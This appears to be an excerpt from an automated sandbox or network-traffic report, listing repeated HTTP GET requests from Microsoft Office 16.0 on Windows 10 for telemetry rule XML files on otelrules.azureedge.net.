Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
